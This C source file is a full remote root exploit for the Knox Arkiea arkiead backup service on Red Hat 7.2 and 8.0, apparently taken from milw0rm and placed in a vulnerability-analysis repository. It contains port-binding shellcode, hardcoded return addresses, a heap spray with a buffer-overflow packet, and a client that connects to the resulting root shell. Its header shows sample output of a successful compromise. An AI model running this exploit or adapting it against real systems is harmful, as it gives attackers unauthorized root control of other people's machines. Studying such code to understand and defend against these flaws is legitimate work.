lilbool/vuln-code-analysis
0
1/*
2 * Knox Arkiea arkiead local/remote root exploit.
3 *
4 * Portbind 5074 shellcode
5 *
6 * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable.
7 *
8 * NULLs out least significant byte of EBP to pull EIP out of overflow buffer.
9 * A previous request forces a large allocation of NOP's + shellcode in heap
10 * memory. Find additional targets by searching the heap for NOP's after a
11 * crash. safeaddr must point to any area of memory that is read/writable
12 * and won't mess with program/shellcode flow.
13 *
14 * ./ark_sink host targetnum
15 * [user@host dir]$ ./ark_sink 192.168.1.2 1
16 * [*] Connected to 192.168.1.2:617
17 * [*] Connected to 192.168.1.2:617
18 * [*] Sending nops+shellcode
19 * [*] Done, sleeping
20 * [*] Sending overflow
21 * [*] Done
22 * [*] Sleeping and connecting remote shell
23 * [*] Connected to 192.168.1.2:5074
24 * [*] Success, enjoy
25 * id
26 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
27 *
28 *
29 */
30
31
32#include <stdio.h>
33#include <stdlib.h>
34#include <unistd.h>
35#include <netdb.h>
36#include <sys/socket.h>
37#include <sys/errno.h>
38#include <sys/types.h>
39#include <netinet/in.h>
40#include <arpa/nameser.h>
41
42
43#define BUFLEN 10000 /* for getshell() */
44#define LEN 280 /* overflow packet data section */
45#define HEAD_LEN 8 /* overflow packet header */
46#define NOP_LEN 10000 /* nop+shellcode packet */
47#define ARK_PORT 617
48#define SHELL_PORT 5074
49#define NOP 0x90
50#define NUMTARGS 2
51
52struct {
53 char *os;
54 unsigned int targret;
55 unsigned int targsafe;
56} targets[] = {
57 { "Redhat 8.0", 0x80ecf90, 0x080eb940 },
58 { "Redhat 7.2", 0x80eddc0, 0x080eb940 },
59 NULL
60};
61
62
63/* portbind 5074 */
64const char shellcode[] =
65"\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
66"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08"
67"\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14"
68"\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14"
69"\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c"
70"\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66"
71"\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03"
72"\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69"
73"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
74
75unsigned int resolve(char *hostname)
76{
77 u_long ip = 0;
78 struct hostent *hoste;
79
80 if ((int)(ip = inet_addr(hostname)) == -1)
81 {
82 if ((hoste = gethostbyname(hostname)) == NULL)
83 {
84 herror("[!] gethostbyname");
85 exit(-1);
86 }
87 memcpy(&ip, hoste->h_addr, hoste->h_length);
88 }
89 return(ip);
90}
91
92
93int isock(char *hostname, int portnum)
94{
95 struct sockaddr_in sock_a;
96 int num, sock;
97 unsigned int ip;
98 fd_set input;
99
100 sock_a.sin_family = AF_INET;
101 sock_a.sin_port = htons(portnum);
102 sock_a.sin_addr.s_addr = resolve(hostname);
103
104 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
105 {
106 herror("[!] accept");
107 exit(-1);
108 }
109
110 if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a)))
111 {
112 herror("[!] connect");
113 exit(-1);
114 }
115
116 fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum);
117 return(sock);
118
119}
120
121int getshell(int sock)
122{
123
124 char buf[BUFLEN];
125 int nread=0;
126
127 while(1)
128 {
129 fd_set input;
130 FD_SET(0,&input);
131 FD_SET(sock,&input);
132 select(sock+1,&input,NULL,NULL,NULL);
133
134 if(FD_ISSET(sock,&input))
135 {
136 nread=read(sock,buf,BUFLEN);
137 write(1,buf,nread);
138 }
139 if(FD_ISSET(0,&input))
140 write(sock,buf,read(0,buf,BUFLEN));
141 }
142}
143
144int usage(char *progname)
145{
146 int i;
147
148 fprintf(stderr, "Usage:\n./%s hostname target_num\n");
149 for (i = 0; targets[i].os; i++)
150 fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os);
151 exit(-1);
152}
153
154int main( int argc, char **argv)
155{
156
157 /* first 2 bytes are a type 74 request */
158 /* last two bytes length */
159 char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff";
160 char data[512];
161 char sc_req[20000];
162 char *host;
163 unsigned int tnum;
164 unsigned int safeaddr;
165 unsigned int ret;
166 int datalen = LEN;
167 int port = ARK_PORT;
168 unsigned int addr = 0;
169 int sock_overflow, sock_nops, sock_shell;
170 int i;
171
172 if (argc == 3)
173 {
174 host = argv[1];
175 tnum = atoi(argv[2]);
176 if (tnum > NUMTARGS || tnum == 0)
177 {
178 fprintf(stderr, "[!] Invalid target\n");
179 usage(argv[0]);
180 }
181 }
182 else
183 {
184 usage(argv[0]);
185 }
186
187 tnum--;
188 ret = targets[tnum].targret;
189 safeaddr = targets[tnum].targsafe;
190
191 sock_overflow = sock_nops = sock_shell = 0;
192 sock_nops = isock(host, port);
193 sock_overflow = isock(host, port);
194
195 // build data section of overflow packet
196 memset(data, 0x90, datalen);
197 for (i = 0; i < datalen; i += 4)
198 memcpy(data+i, (char *)&ret, 4);
199 // we overwrite a pointer that must be a valid address
200 memcpy(data+datalen-12, (char *)&safeaddr, 4);
201
202 // build header of overflow packet
203 datalen = ntohs(datalen);
204 memcpy(head+6, (char *)&datalen, 2);
205
206 // build invalid packet with nops+shellcode
207 memset(sc_req, 0x90, NOP_LEN+1);
208 memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode));
209
210 // send invalid nop+shellcode packet
211 fprintf(stderr, "[*] Sending nops+shellcode\n");
212 write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode));
213 fprintf(stderr, "[*] Done, sleeping\n");
214 sleep(1);
215 close(sock_nops);
216
217 // send overflow
218 fprintf(stderr, "[*] Sending overflow\n");
219 write(sock_overflow, head, HEAD_LEN);
220 write(sock_overflow, data, LEN);
221 fprintf(stderr, "[*] Done\n");
222 fprintf(stderr, "[*] Sleeping and connecting remote shell\n");
223 sleep (1);
224 close(sock_overflow);
225
226 // connect to shell
227 sock_shell = isock(host, SHELL_PORT);
228 fprintf(stderr, "[*] Success, enjoy\n");
229 getshell(sock_shell);
230
231}
232
233
234// milw0rm.com [2003-09-20]